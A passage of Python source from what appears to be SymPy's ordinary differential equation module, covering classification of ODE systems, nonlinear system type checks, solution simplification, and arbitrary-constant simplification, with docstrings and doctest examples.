c3*f(x) f = func x = func.args[0] df = f.diff(x) a = Wild('a', exclude=[f,df]) b = Wild('b', exclude=[x, f,df]) a4 = Wild('a4', exclude=[x,f,df]) b4 = Wild('b4', exclude=[x,f,df]) c4 = Wild('c4', exclude=[x,f,df]) d4 = Wild('d4', exclude=[x,f,df]) a3 = Wild('a3', exclude=[f, df, f.diff(x, 2)]) b3 = Wild('b3', exclude=[f, df, f.diff(x, 2)]) c3 = Wild('c3', exclude=[f, df, f.diff(x, 2)]) # leading coeff of f(x).diff(x, 2) coeff = factor(r[a3]).match(a4*(x-b)**b4) if coeff: # if coeff[b4] = 0 means constant coefficient if coeff[b4] == 0: return None point = coeff[b] else: return None if point: r[a3] = simplify(r[a3].subs(x, x+point)) r[b3] = simplify(r[b3].subs(x, x+point)) r[c3] = simplify(r[c3].subs(x, x+point)) # making a3 in the form of x**2 r[a3] = cancel(r[a3]/(coeff[a4]*(x)**(-2+coeff[b4]))) r[b3] = cancel(r[b3]/(coeff[a4]*(x)**(-2+coeff[b4]))) r[c3] = cancel(r[c3]/(coeff[a4]*(x)**(-2+coeff[b4]))) # checking if b3 is of form c*(x-b) coeff1 = factor(r[b3]).match(a4*(x)) if coeff1 is None: return None # c3 maybe of very complex form so I am simply checking (a - b) form # if yes later I will match with the standerd form of bessel in a and b # a, b are wild variable defined above. _coeff2 = r[c3].match(a - b) if _coeff2 is None: return None # matching with standerd form for c3 coeff2 = factor(_coeff2[a]).match(c4**2*(x)**(2*a4)) if coeff2 is None: return None if _coeff2[b] == 0: coeff2[d4] = 0 else: coeff2[d4] = factor(_coeff2[b]).match(d4**2)[d4] rn = {'n':coeff2[d4], 'a4':coeff2[c4], 'd4':coeff2[a4]} rn['c4'] = coeff1[a4] rn['b4'] = point return rn def classify_sysode(eq, funcs=None, **kwargs): r""" Returns a dictionary of parameter names and values that define the system of ordinary differential equations in ``eq``. The parameters are further used in :py:meth:`~sympy.solvers.ode.dsolve` for solving that system. Some parameter names and values are: 'is_linear' (boolean), which tells whether the given system is linear. Note that "linear" here refers to the operator: terms such as ``x*diff(x,t)`` are nonlinear, whereas terms like ``sin(t)*diff(x,t)`` are still linear operators. 'func' (list) contains the :py:class:`~sympy.core.function.Function`s that appear with a derivative in the ODE, i.e. those that we are trying to solve the ODE for. 'order' (dict) with the maximum derivative for each element of the 'func' parameter. 'func_coeff' (dict or Matrix) with the coefficient for each triple ``(equation number, function, order)```. The coefficients are those subexpressions that do not appear in 'func', and hence can be considered constant for purposes of ODE solving. The value of this parameter can also be a Matrix if the system of ODEs are linear first order of the form X' = AX where X is the vector of dependent variables. Here, this function returns the coefficient matrix A. 'eq' (list) with the equations from ``eq``, sympified and transformed into expressions (we are solving for these expressions to be zero). 'no_of_equations' (int) is the number of equations (same as ``len(eq)``). 'type_of_equation' (string) is an internal classification of the type of ODE. 'is_constant' (boolean), which tells if the system of ODEs is constant coefficient or not. This key is temporary addition for now and is in the match dict only when the system of ODEs is linear first order constant coefficient homogeneous. So, this key's value is True for now if it is available else it doesn't exist. 'is_homogeneous' (boolean), which tells if the system of ODEs is homogeneous. Like the key 'is_constant', this key is a temporary addition and it is True since this key value is available only when the system is linear first order constant coefficient homogeneous. References ========== -http://eqworld.ipmnet.ru/en/solutions/sysode/sode-toc1.htm -A. D. Polyanin and A. V. Manzhirov, Handbook of Mathematics for Engineers and Scientists Examples ======== >>> from sympy import Function, Eq, symbols, diff >>> from sympy.solvers.ode.ode import classify_sysode >>> from sympy.abc import t >>> f, x, y = symbols('f, x, y', cls=Function) >>> k, l, m, n = symbols('k, l, m, n', Integer=True) >>> x1 = diff(x(t), t) ; y1 = diff(y(t), t) >>> x2 = diff(x(t), t, t) ; y2 = diff(y(t), t, t) >>> eq = (Eq(x1, 12*x(t) - 6*y(t)), Eq(y1, 11*x(t) + 3*y(t))) >>> classify_sysode(eq) {'eq': [-12*x(t) + 6*y(t) + Derivative(x(t), t), -11*x(t) - 3*y(t) + Derivative(y(t), t)], 'func': [x(t), y(t)], 'func_coeff': {(0, x(t), 0): -12, (0, x(t), 1): 1, (0, y(t), 0): 6, (0, y(t), 1): 0, (1, x(t), 0): -11, (1, x(t), 1): 0, (1, y(t), 0): -3, (1, y(t), 1): 1}, 'is_linear': True, 'no_of_equation': 2, 'order': {x(t): 1, y(t): 1}, 'type_of_equation': None} >>> eq = (Eq(diff(x(t),t), 5*t*x(t) + t**2*y(t) + 2), Eq(diff(y(t),t), -t**2*x(t) + 5*t*y(t))) >>> classify_sysode(eq) {'eq': [-t**2*y(t) - 5*t*x(t) + Derivative(x(t), t) - 2, t**2*x(t) - 5*t*y(t) + Derivative(y(t), t)], 'func': [x(t), y(t)], 'func_coeff': {(0, x(t), 0): -5*t, (0, x(t), 1): 1, (0, y(t), 0): -t**2, (0, y(t), 1): 0, (1, x(t), 0): t**2, (1, x(t), 1): 0, (1, y(t), 0): -5*t, (1, y(t), 1): 1}, 'is_linear': True, 'no_of_equation': 2, 'order': {x(t): 1, y(t): 1}, 'type_of_equation': None} """ # Sympify equations and convert iterables of equations into # a list of equations def _sympify(eq): return list(map(sympify, eq if iterable(eq) else [eq])) eq, funcs = (_sympify(w) for w in [eq, funcs]) for i, fi in enumerate(eq): if isinstance(fi, Equality): eq[i] = fi.lhs - fi.rhs t = list(list(eq[0].atoms(Derivative))[0].atoms(Symbol))[0] matching_hints = {"no_of_equation":i+1} matching_hints['eq'] = eq if i==0: raise ValueError("classify_sysode() works for systems of ODEs. " "For scalar ODEs, classify_ode should be used") # find all the functions if not given order = dict() if funcs==[None]: funcs = _extract_funcs(eq) funcs = list(set(funcs)) if len(funcs) != len(eq): raise ValueError("Number of functions given is not equal to the number of equations %s" % funcs) # This logic of list of lists in funcs to # be replaced later. func_dict = dict() for func in funcs: if not order.get(func, False): max_order = 0 for i, eqs_ in enumerate(eq): order_ = ode_order(eqs_,func) if max_order < order_: max_order = order_ eq_no = i if eq_no in func_dict: func_dict[eq_no] = [func_dict[eq_no], func] else: func_dict[eq_no] = func order[func] = max_order funcs = [func_dict[i] for i in range(len(func_dict))] matching_hints['func'] = funcs for func in funcs: if isinstance(func, list): for func_elem in func: if len(func_elem.args) != 1: raise ValueError("dsolve() and classify_sysode() work with " "functions of one variable only, not %s" % func) else: if func and len(func.args) != 1: raise ValueError("dsolve() and classify_sysode() work with " "functions of one variable only, not %s" % func) # find the order of all equation in system of odes matching_hints["order"] = order # find coefficients of terms f(t), diff(f(t),t) and higher derivatives # and similarly for other functions g(t), diff(g(t),t) in all equations. # Here j denotes the equation number, funcs[l] denotes the function about # which we are talking about and k denotes the order of function funcs[l] # whose coefficient we are calculating. def linearity_check(eqs, j, func, is_linear_): for k in range(order[func] + 1): func_coef[j, func, k] = collect(eqs.expand(), [diff(func, t, k)]).coeff(diff(func, t, k)) if is_linear_ == True: if func_coef[j, func, k] == 0: if k == 0: coef = eqs.as_independent(func, as_Add=True)[1] for xr in range(1, ode_order(eqs,func) + 1): coef -= eqs.as_independent(diff(func, t, xr), as_Add=True)[1] if coef != 0: is_linear_ = False else: if eqs.as_independent(diff(func, t, k), as_Add=True)[1]: is_linear_ = False else: for func_ in funcs: if isinstance(func_, list): for elem_func_ in func_: dep = func_coef[j, func, k].as_independent(elem_func_, as_Add=True)[1] if dep != 0: is_linear_ = False else: dep = func_coef[j, func, k].as_independent(func_, as_Add=True)[1] if dep != 0: is_linear_ = False return is_linear_ func_coef = {} is_linear = True for j, eqs in enumerate(eq): for func in funcs: if isinstance(func, list): for func_elem in func: is_linear = linearity_check(eqs, j, func_elem, is_linear) else: is_linear = linearity_check(eqs, j, func, is_linear) matching_hints['func_coeff'] = func_coef matching_hints['is_linear'] = is_linear if len(set(order.values())) == 1: order_eq = list(matching_hints['order'].values())[0] if matching_hints['is_linear'] == True: if matching_hints['no_of_equation'] == 2: if order_eq == 1: type_of_equation = check_linear_2eq_order1(eq, funcs, func_coef) else: type_of_equation = None # If the equation doesn't match up with any of the # general case solvers in systems.py and the number # of equations is greater than 2, then NotImplementedError # should be raised. else: type_of_equation = None else: if matching_hints['no_of_equation'] == 2: if order_eq == 1: type_of_equation = check_nonlinear_2eq_order1(eq, funcs, func_coef) else: type_of_equation = None elif matching_hints['no_of_equation'] == 3: if order_eq == 1: type_of_equation = check_nonlinear_3eq_order1(eq, funcs, func_coef) else: type_of_equation = None else: type_of_equation = None else: type_of_equation = None matching_hints['type_of_equation'] = type_of_equation return matching_hints def check_linear_2eq_order1(eq, func, func_coef): x = func[0].func y = func[1].func fc = func_coef t = list(list(eq[0].atoms(Derivative))[0].atoms(Symbol))[0] r = dict() # for equations Eq(a1*diff(x(t),t), b1*x(t) + c1*y(t) + d1) # and Eq(a2*diff(y(t),t), b2*x(t) + c2*y(t) + d2) r['a1'] = fc[0,x(t),1] ; r['a2'] = fc[1,y(t),1] r['b1'] = -fc[0,x(t),0]/fc[0,x(t),1] ; r['b2'] = -fc[1,x(t),0]/fc[1,y(t),1] r['c1'] = -fc[0,y(t),0]/fc[0,x(t),1] ; r['c2'] = -fc[1,y(t),0]/fc[1,y(t),1] forcing = [S.Zero,S.Zero] for i in range(2): for j in Add.make_args(eq[i]): if not j.has(x(t), y(t)): forcing[i] += j if not (forcing[0].has(t) or forcing[1].has(t)): # We can handle homogeneous case and simple constant forcings r['d1'] = forcing[0] r['d2'] = forcing[1] else: # Issue #9244: nonhomogeneous linear systems are not supported return None # Conditions to check for type 6 whose equations are Eq(diff(x(t),t), f(t)*x(t) + g(t)*y(t)) and # Eq(diff(y(t),t), a*[f(t) + a*h(t)]x(t) + a*[g(t) - h(t)]*y(t)) p = 0 q = 0 p1 = cancel(r['b2']/(cancel(r['b2']/r['c2']).as_numer_denom()[0])) p2 = cancel(r['b1']/(cancel(r['b1']/r['c1']).as_numer_denom()[0])) for n, i in enumerate([p1, p2]): for j in Mul.make_args(collect_const(i)): if not j.has(t): q = j if q and n==0: if ((r['b2']/j - r['b1'])/(r['c1'] - r['c2']/j)) == j: p = 1 elif q and n==1: if ((r['b1']/j - r['b2'])/(r['c2'] - r['c1']/j)) == j: p = 2 # End of condition for type 6 if r['d1']!=0 or r['d2']!=0: return None else: if all(not r[k].has(t) for k in 'a1 a2 b1 b2 c1 c2'.split()): return None else: r['b1'] = r['b1']/r['a1'] ; r['b2'] = r['b2']/r['a2'] r['c1'] = r['c1']/r['a1'] ; r['c2'] = r['c2']/r['a2'] if p: return "type6" else: # Equations for type 7 are Eq(diff(x(t),t), f(t)*x(t) + g(t)*y(t)) and Eq(diff(y(t),t), h(t)*x(t) + p(t)*y(t)) return "type7" def check_nonlinear_2eq_order1(eq, func, func_coef): t = list(list(eq[0].atoms(Derivative))[0].atoms(Symbol))[0] f = Wild('f') g = Wild('g') u, v = symbols('u, v', cls=Dummy) def check_type(x, y): r1 = eq[0].match(t*diff(x(t),t) - x(t) + f) r2 = eq[1].match(t*diff(y(t),t) - y(t) + g) if not (r1 and r2): r1 = eq[0].match(diff(x(t),t) - x(t)/t + f/t) r2 = eq[1].match(diff(y(t),t) - y(t)/t + g/t) if not (r1 and r2): r1 = (-eq[0]).match(t*diff(x(t),t) - x(t) + f) r2 = (-eq[1]).match(t*diff(y(t),t) - y(t) + g) if not (r1 and r2): r1 = (-eq[0]).match(diff(x(t),t) - x(t)/t + f/t) r2 = (-eq[1]).match(diff(y(t),t) - y(t)/t + g/t) if r1 and r2 and not (r1[f].subs(diff(x(t),t),u).subs(diff(y(t),t),v).has(t) \ or r2[g].subs(diff(x(t),t),u).subs(diff(y(t),t),v).has(t)): return 'type5' else: return None for func_ in func: if isinstance(func_, list): x = func[0][0].func y = func[0][1].func eq_type = check_type(x, y) if not eq_type: eq_type = check_type(y, x) return eq_type x = func[0].func y = func[1].func fc = func_coef n = Wild('n', exclude=[x(t),y(t)]) f1 = Wild('f1', exclude=[v,t]) f2 = Wild('f2', exclude=[v,t]) g1 = Wild('g1', exclude=[u,t]) g2 = Wild('g2', exclude=[u,t]) for i in range(2): eqs = 0 for terms in Add.make_args(eq[i]): eqs += terms/fc[i,func[i],1] eq[i] = eqs r = eq[0].match(diff(x(t),t) - x(t)**n*f) if r: g = (diff(y(t),t) - eq[1])/r[f] if r and not (g.has(x(t)) or g.subs(y(t),v).has(t) or r[f].subs(x(t),u).subs(y(t),v).has(t)): return 'type1' r = eq[0].match(diff(x(t),t) - exp(n*x(t))*f) if r: g = (diff(y(t),t) - eq[1])/r[f] if r and not (g.has(x(t)) or g.subs(y(t),v).has(t) or r[f].subs(x(t),u).subs(y(t),v).has(t)): return 'type2' g = Wild('g') r1 = eq[0].match(diff(x(t),t) - f) r2 = eq[1].match(diff(y(t),t) - g) if r1 and r2 and not (r1[f].subs(x(t),u).subs(y(t),v).has(t) or \ r2[g].subs(x(t),u).subs(y(t),v).has(t)): return 'type3' r1 = eq[0].match(diff(x(t),t) - f) r2 = eq[1].match(diff(y(t),t) - g) num, den = ( (r1[f].subs(x(t),u).subs(y(t),v))/ (r2[g].subs(x(t),u).subs(y(t),v))).as_numer_denom() R1 = num.match(f1*g1) R2 = den.match(f2*g2) # phi = (r1[f].subs(x(t),u).subs(y(t),v))/num if R1 and R2: return 'type4' return None def check_nonlinear_2eq_order2(eq, func, func_coef): return None def check_nonlinear_3eq_order1(eq, func, func_coef): x = func[0].func y = func[1].func z = func[2].func fc = func_coef t = list(list(eq[0].atoms(Derivative))[0].atoms(Symbol))[0] u, v, w = symbols('u, v, w', cls=Dummy) a = Wild('a', exclude=[x(t), y(t), z(t), t]) b = Wild('b', exclude=[x(t), y(t), z(t), t]) c = Wild('c', exclude=[x(t), y(t), z(t), t]) f = Wild('f') F1 = Wild('F1') F2 = Wild('F2') F3 = Wild('F3') for i in range(3): eqs = 0 for terms in Add.make_args(eq[i]): eqs += terms/fc[i,func[i],1] eq[i] = eqs r1 = eq[0].match(diff(x(t),t) - a*y(t)*z(t)) r2 = eq[1].match(diff(y(t),t) - b*z(t)*x(t)) r3 = eq[2].match(diff(z(t),t) - c*x(t)*y(t)) if r1 and r2 and r3: num1, den1 = r1[a].as_numer_denom() num2, den2 = r2[b].as_numer_denom() num3, den3 = r3[c].as_numer_denom() if solve([num1*u-den1*(v-w), num2*v-den2*(w-u), num3*w-den3*(u-v)],[u, v]): return 'type1' r = eq[0].match(diff(x(t),t) - y(t)*z(t)*f) if r: r1 = collect_const(r[f]).match(a*f) r2 = ((diff(y(t),t) - eq[1])/r1[f]).match(b*z(t)*x(t)) r3 = ((diff(z(t),t) - eq[2])/r1[f]).match(c*x(t)*y(t)) if r1 and r2 and r3: num1, den1 = r1[a].as_numer_denom() num2, den2 = r2[b].as_numer_denom() num3, den3 = r3[c].as_numer_denom() if solve([num1*u-den1*(v-w), num2*v-den2*(w-u), num3*w-den3*(u-v)],[u, v]): return 'type2' r = eq[0].match(diff(x(t),t) - (F2-F3)) if r: r1 = collect_const(r[F2]).match(c*F2) r1.update(collect_const(r[F3]).match(b*F3)) if r1: if eq[1].has(r1[F2]) and not eq[1].has(r1[F3]): r1[F2], r1[F3] = r1[F3], r1[F2] r1[c], r1[b] = -r1[b], -r1[c] r2 = eq[1].match(diff(y(t),t) - a*r1[F3] + r1[c]*F1) if r2: r3 = (eq[2] == diff(z(t),t) - r1[b]*r2[F1] + r2[a]*r1[F2]) if r1 and r2 and r3: return 'type3' r = eq[0].match(diff(x(t),t) - z(t)*F2 + y(t)*F3) if r: r1 = collect_const(r[F2]).match(c*F2) r1.update(collect_const(r[F3]).match(b*F3)) if r1: if eq[1].has(r1[F2]) and not eq[1].has(r1[F3]): r1[F2], r1[F3] = r1[F3], r1[F2] r1[c], r1[b] = -r1[b], -r1[c] r2 = (diff(y(t),t) - eq[1]).match(a*x(t)*r1[F3] - r1[c]*z(t)*F1) if r2: r3 = (diff(z(t),t) - eq[2] == r1[b]*y(t)*r2[F1] - r2[a]*x(t)*r1[F2]) if r1 and r2 and r3: return 'type4' r = (diff(x(t),t) - eq[0]).match(x(t)*(F2 - F3)) if r: r1 = collect_const(r[F2]).match(c*F2) r1.update(collect_const(r[F3]).match(b*F3)) if r1: if eq[1].has(r1[F2]) and not eq[1].has(r1[F3]): r1[F2], r1[F3] = r1[F3], r1[F2] r1[c], r1[b] = -r1[b], -r1[c] r2 = (diff(y(t),t) - eq[1]).match(y(t)*(a*r1[F3] - r1[c]*F1)) if r2: r3 = (diff(z(t),t) - eq[2] == z(t)*(r1[b]*r2[F1] - r2[a]*r1[F2])) if r1 and r2 and r3: return 'type5' return None def check_nonlinear_3eq_order2(eq, func, func_coef): return None @vectorize(0) def odesimp(ode, eq, func, hint): r""" Simplifies solutions of ODEs, including trying to solve for ``func`` and running :py:meth:`~sympy.solvers.ode.constantsimp`. It may use knowledge of the type of solution that the hint returns to apply additional simplifications. It also attempts to integrate any :py:class:`~sympy.integrals.integrals.Integral`\s in the expression, if the hint is not an ``_Integral`` hint. This function should have no effect on expressions returned by :py:meth:`~sympy.solvers.ode.dsolve`, as :py:meth:`~sympy.solvers.ode.dsolve` already calls :py:meth:`~sympy.solvers.ode.ode.odesimp`, but the individual hint functions do not call :py:meth:`~sympy.solvers.ode.ode.odesimp` (because the :py:meth:`~sympy.solvers.ode.dsolve` wrapper does). Therefore, this function is designed for mainly internal use. Examples ======== >>> from sympy import sin, symbols, dsolve, pprint, Function >>> from sympy.solvers.ode.ode import odesimp >>> x , u2, C1= symbols('x,u2,C1') >>> f = Function('f') >>> eq = dsolve(x*f(x).diff(x) - f(x) - x*sin(f(x)/x), f(x), ... hint='1st_homogeneous_coeff_subs_indep_div_dep_Integral', ... simplify=False) >>> pprint(eq, wrap_line=False) x ---- f(x) / | | / 1 \ | -|u2 + -------| | | /1 \| | | sin|--|| | \ \u2// log(f(x)) = log(C1) + | ---------------- d(u2) | 2 | u2 | / >>> pprint(odesimp(eq, f(x), 1, {C1}, ... hint='1st_homogeneous_coeff_subs_indep_div_dep' ... )) #doctest: +SKIP x --------- = C1 /f(x)\ tan|----| \2*x / """ x = func.args[0] f = func.func C1 = get_numbered_constants(eq, num=1) constants = eq.free_symbols - ode.free_symbols # First, integrate if the hint allows it. eq = _handle_Integral(eq, func, hint) if hint.startswith("nth_linear_euler_eq_nonhomogeneous"): eq = simplify(eq) if not isinstance(eq, Equality): raise TypeError("eq should be an instance of Equality") # Second, clean up the arbitrary constants. # Right now, nth linear hints can put as many as 2*order constants in an # expression. If that number grows with another hint, the third argument # here should be raised accordingly, or constantsimp() rewritten to handle # an arbitrary number of constants. eq = constantsimp(eq, constants) # Lastly, now that we have cleaned up the expression, try solving for func. # When CRootOf is implemented in solve(), we will want to return a CRootOf # every time instead of an Equality. # Get the f(x) on the left if possible. if eq.rhs == func and not eq.lhs.has(func): eq = [Eq(eq.rhs, eq.lhs)] # make sure we are working with lists of solutions in simplified form. if eq.lhs == func and not eq.rhs.has(func): # The solution is already solved eq = [eq] # special simplification of the rhs if hint.startswith("nth_linear_constant_coeff"): # Collect terms to make the solution look nice. # This is also necessary for constantsimp to remove unnecessary # terms from the particular solution from variation of parameters # # Collect is not behaving reliably here. The results for # some linear constant-coefficient equations with repeated # roots do not properly simplify all constants sometimes. # 'collectterms' gives different orders sometimes, and results # differ in collect based on that order. The # sort-reverse trick fixes things, but may fail in the # future. In addition, collect is splitting exponentials with # rational powers for no reason. We have to do a match # to fix this using Wilds. # # XXX: This global collectterms hack should be removed. global collectterms collectterms.sort(key=default_sort_key) collectterms.reverse() assert len(eq) == 1 and eq[0].lhs == f(x) sol = eq[0].rhs sol = expand_mul(sol) for i, reroot, imroot in collectterms: sol = collect(sol, x**i*exp(reroot*x)*sin(abs(imroot)*x)) sol = collect(sol, x**i*exp(reroot*x)*cos(imroot*x)) for i, reroot, imroot in collectterms: sol = collect(sol, x**i*exp(reroot*x)) del collectterms # Collect is splitting exponentials with rational powers for # no reason. We call powsimp to fix. sol = powsimp(sol) eq[0] = Eq(f(x), sol) else: # The solution is not solved, so try to solve it try: floats = any(i.is_Float for i in eq.atoms(Number)) eqsol = solve(eq, func, force=True, rational=False if floats else None) if not eqsol: raise NotImplementedError except (NotImplementedError, PolynomialError): eq = [eq] else: def _expand(expr): numer, denom = expr.as_numer_denom() if denom.is_Add: return expr else: return powsimp(expr.expand(), combine='exp', deep=True) # XXX: the rest of odesimp() expects each ``t`` to be in a # specific normal form: rational expression with numerator # expanded, but with combined exponential functions (at # least in this setup all tests pass). eq = [Eq(f(x), _expand(t)) for t in eqsol] # special simplification of the lhs. if hint.startswith("1st_homogeneous_coeff"): for j, eqi in enumerate(eq): newi = logcombine(eqi, force=True) if isinstance(newi.lhs, log) and newi.rhs == 0: newi = Eq(newi.lhs.args[0]/C1, C1) eq[j] = newi # We cleaned up the constants before solving to help the solve engine with # a simpler expression, but the solved expression could have introduced # things like -C1, so rerun constantsimp() one last time before returning. for i, eqi in enumerate(eq): eq[i] = constantsimp(eqi, constants) eq[i] = constant_renumber(eq[i], ode.free_symbols) # If there is only 1 solution, return it; # otherwise return the list of solutions. if len(eq) == 1: eq = eq[0] return eq def ode_sol_simplicity(sol, func, trysolving=True): r""" Returns an extended integer representing how simple a solution to an ODE is. The following things are considered, in order from most simple to least: - ``sol`` is solved for ``func``. - ``sol`` is not solved for ``func``, but can be if passed to solve (e.g., a solution returned by ``dsolve(ode, func, simplify=False``). - If ``sol`` is not solved for ``func``, then base the result on the length of ``sol``, as computed by ``len(str(sol))``. - If ``sol`` has any unevaluated :py:class:`~sympy.integrals.integrals.Integral`\s, this will automatically be considered less simple than any of the above. This function returns an integer such that if solution A is simpler than solution B by above metric, then ``ode_sol_simplicity(sola, func) < ode_sol_simplicity(solb, func)``. Currently, the following are the numbers returned, but if the heuristic is ever improved, this may change. Only the ordering is guaranteed. +----------------------------------------------+-------------------+ | Simplicity | Return | +==============================================+===================+ | ``sol`` solved for ``func`` | ``-2`` | +----------------------------------------------+-------------------+ | ``sol`` not solved for ``func`` but can be | ``-1`` | +----------------------------------------------+-------------------+ | ``sol`` is not solved nor solvable for | ``len(str(sol))`` | | ``func`` | | +----------------------------------------------+-------------------+ | ``sol`` contains an | ``oo`` | | :obj:`~sympy.integrals.integrals.Integral` | | +----------------------------------------------+-------------------+ ``oo`` here means the SymPy infinity, which should compare greater than any integer. If you already know :py:meth:`~sympy.solvers.solvers.solve` cannot solve ``sol``, you can use ``trysolving=False`` to skip that step, which is the only potentially slow step. For example, :py:meth:`~sympy.solvers.ode.dsolve` with the ``simplify=False`` flag should do this. If ``sol`` is a list of solutions, if the worst solution in the list returns ``oo`` it returns that, otherwise it returns ``len(str(sol))``, that is, the length of the string representation of the whole list. Examples ======== This function is designed to be passed to ``min`` as the key argument, such as ``min(listofsolutions, key=lambda i: ode_sol_simplicity(i, f(x)))``. >>> from sympy import symbols, Function, Eq, tan, Integral >>> from sympy.solvers.ode.ode import ode_sol_simplicity >>> x, C1, C2 = symbols('x, C1, C2') >>> f = Function('f') >>> ode_sol_simplicity(Eq(f(x), C1*x**2), f(x)) -2 >>> ode_sol_simplicity(Eq(x**2 + f(x), C1), f(x)) -1 >>> ode_sol_simplicity(Eq(f(x), C1*Integral(2*x, x)), f(x)) oo >>> eq1 = Eq(f(x)/tan(f(x)/(2*x)), C1) >>> eq2 = Eq(f(x)/tan(f(x)/(2*x) + f(x)), C2) >>> [ode_sol_simplicity(eq, f(x)) for eq in [eq1, eq2]] [28, 35] >>> min([eq1, eq2], key=lambda i: ode_sol_simplicity(i, f(x))) Eq(f(x)/tan(f(x)/(2*x)), C1) """ # TODO: if two solutions are solved for f(x), we still want to be # able to get the simpler of the two # See the docstring for the coercion rules. We check easier (faster) # things here first, to save time. if iterable(sol): # See if there are Integrals for i in sol: if ode_sol_simplicity(i, func, trysolving=trysolving) == oo: return oo return len(str(sol)) if sol.has(Integral): return oo # Next, try to solve for func. This code will change slightly when CRootOf # is implemented in solve(). Probably a CRootOf solution should fall # somewhere between a normal solution and an unsolvable expression. # First, see if they are already solved if sol.lhs == func and not sol.rhs.has(func) or \ sol.rhs == func and not sol.lhs.has(func): return -2 # We are not so lucky, try solving manually if trysolving: try: sols = solve(sol, func) if not sols: raise NotImplementedError except NotImplementedError: pass else: return -1 # Finally, a naive computation based on the length of the string version # of the expression. This may favor combined fractions because they # will not have duplicate denominators, and may slightly favor expressions # with fewer additions and subtractions, as those are separated by spaces # by the printer. # Additional ideas for simplicity heuristics are welcome, like maybe # checking if a equation has a larger domain, or if constantsimp has # introduced arbitrary constants numbered higher than the order of a # given ODE that sol is a solution of. return len(str(sol)) def _extract_funcs(eqs): from sympy.core.basic import preorder_traversal funcs = [] for eq in eqs: derivs = [node for node in preorder_traversal(eq) if isinstance(node, Derivative)] func = [] for d in derivs: func += list(d.atoms(AppliedUndef)) for func_ in func: funcs.append(func_) funcs = list(uniq(funcs)) return funcs def _get_constant_subexpressions(expr, Cs): Cs = set(Cs) Ces = [] def _recursive_walk(expr): expr_syms = expr.free_symbols if expr_syms and expr_syms.issubset(Cs): Ces.append(expr) else: if expr.func == exp: expr = expr.expand(mul=True) if expr.func in (Add, Mul): d = sift(expr.args, lambda i : i.free_symbols.issubset(Cs)) if len(d[True]) > 1: x = expr.func(*d[True]) if not x.is_number: Ces.append(x) elif isinstance(expr, Integral): if expr.free_symbols.issubset(Cs) and \ all(len(x) == 3 for x in expr.limits): Ces.append(expr) for i in expr.args: _recursive_walk(i) return _recursive_walk(expr) return Ces def __remove_linear_redundancies(expr, Cs): cnts = {i: expr.count(i) for i in Cs} Cs = [i for i in Cs if cnts[i] > 0] def _linear(expr): if isinstance(expr, Add): xs = [i for i in Cs if expr.count(i)==cnts[i] \ and 0 == expr.diff(i, 2)] d = {} for x in xs: y = expr.diff(x) if y not in d: d[y]=[] d[y].append(x) for y in d: if len(d[y]) > 1: d[y].sort(key=str) for x in d[y][1:]: expr = expr.subs(x, 0) return expr def _recursive_walk(expr): if len(expr.args) != 0: expr = expr.func(*[_recursive_walk(i) for i in expr.args]) expr = _linear(expr) return expr if isinstance(expr, Equality): lhs, rhs = [_recursive_walk(i) for i in expr.args] f = lambda i: isinstance(i, Number) or i in Cs if isinstance(lhs, Symbol) and lhs in Cs: rhs, lhs = lhs, rhs if lhs.func in (Add, Symbol) and rhs.func in (Add, Symbol): dlhs = sift([lhs] if isinstance(lhs, AtomicExpr) else lhs.args, f) drhs = sift([rhs] if isinstance(rhs, AtomicExpr) else rhs.args, f) for i in [True, False]: for hs in [dlhs, drhs]: if i not in hs: hs[i] = [0] # this calculation can be simplified lhs = Add(*dlhs[False]) - Add(*drhs[False]) rhs = Add(*drhs[True]) - Add(*dlhs[True]) elif lhs.func in (Mul, Symbol) and rhs.func in (Mul, Symbol): dlhs = sift([lhs] if isinstance(lhs, AtomicExpr) else lhs.args, f) if True in dlhs: if False not in dlhs: dlhs[False] = [1] lhs = Mul(*dlhs[False]) rhs = rhs/Mul(*dlhs[True]) return Eq(lhs, rhs) else: return _recursive_walk(expr) @vectorize(0) def constantsimp(expr, constants): r""" Simplifies an expression with arbitrary constants in it. This function is written specifically to work with :py:meth:`~sympy.solvers.ode.dsolve`, and is not intended for general use. Simplification is done by "absorbing" the arbitrary constants into other arbitrary constants, numbers, and symbols that they are not independent of. The symbols must all have the same name with numbers after it, for example, ``C1``, ``C2``, ``C3``. The ``symbolname`` here would be '``C``', the ``startnumber`` would be 1, and the ``endnumber`` would be 3. If the arbitrary constants are independent of the variable ``x``, then the independent symbol would be ``x``. There is no need to specify the dependent function, such as ``f(x)``, because it already has the independent symbol, ``x``, in it. Because terms are "absorbed" into arbitrary constants and because constants are renumbered after simplifying, the arbitrary constants in expr are not necessarily equal to the ones of the same name in the returned result. If two or more arbitrary constants are added, multiplied, or raised to the power of each other, they are first absorbed together into a single arbitrary constant. Then the new constant is combined into other terms if necessary. Absorption of constants is done with limited assistance: 1. terms of :py:class:`~sympy.core.add.Add`\s are collected to try join constants so `e^x (C_1 \cos(x) + C_2 \cos(x))` will simplify to `e^x C_1 \cos(x)`; 2. powers with exponents that are :py:class:`~sympy.core.add.Add`\s are expanded so `e^{C_1 + x}` will be simplified to `C_1 e^x`. Use :py:meth:`~sympy.solvers.ode.ode.constant_renumber` to renumber constants after simplification or else arbitrary numbers on constants may appear, e.g. `C_1 + C_3 x`. In rare cases, a single constant can be "simplified" into two constants. Every differential equation solution should have as many arbitrary constants as the order of the differential equation. The result here will be technically correct, but it may, for example, have `C_1` and `C_2` in an expression, when `C_1` is actually equal to `C_2`. Use your discretion in such situations, and also take advantage of the ability to use hints in :py:meth:`~sympy.solvers.ode.dsolve`. Examples ======== >>> from sympy import symbols >>> from sympy.solvers.ode.ode import constantsimp >>> C1, C2, C3, x, y = symbols('C1, C2, C3, x, y') >>> constantsimp(2*C1*x, {C1, C2, C3}) C1*x >>> constantsimp(C1 + 2 + x, {C1, C2, C3}) C1 + x >>> constantsimp(C1*C2 + 2 + C2 + C3*x, {C1, C2, C3}) C1 + C3*x """ # This function works recursively. The idea is that, for Mul, # Add, Pow, and Function, if the class has a constant in it, then # we can simplify it, which we do by recursing down and # simplifying up. Otherwise, we can skip that part of the # expression. Cs = constants orig_expr = expr constant_subexprs = _get_constant_subexpressions(expr, Cs) for xe in constant_subexprs: xes = list(xe.free_symbols) if not xes: continue if all([expr.count(c) == xe.count(c) for c in xes]): xes.sort(key=str) expr = expr.subs(xe, xes[0]) # try to perform common sub-expression elimination of constant terms try: commons, rexpr = cse(expr) commons.reverse() rexpr = rexpr[0] for s in commons: cs = list(s[1].atoms(Symbol)) if len(cs) == 1 and cs[0] in Cs and \ cs[0] not in rexpr.atoms(Symbol) and \ not any(cs[0] in ex for ex in commons if ex != s): rexpr = rexpr.subs(s[0], cs[0]) else: 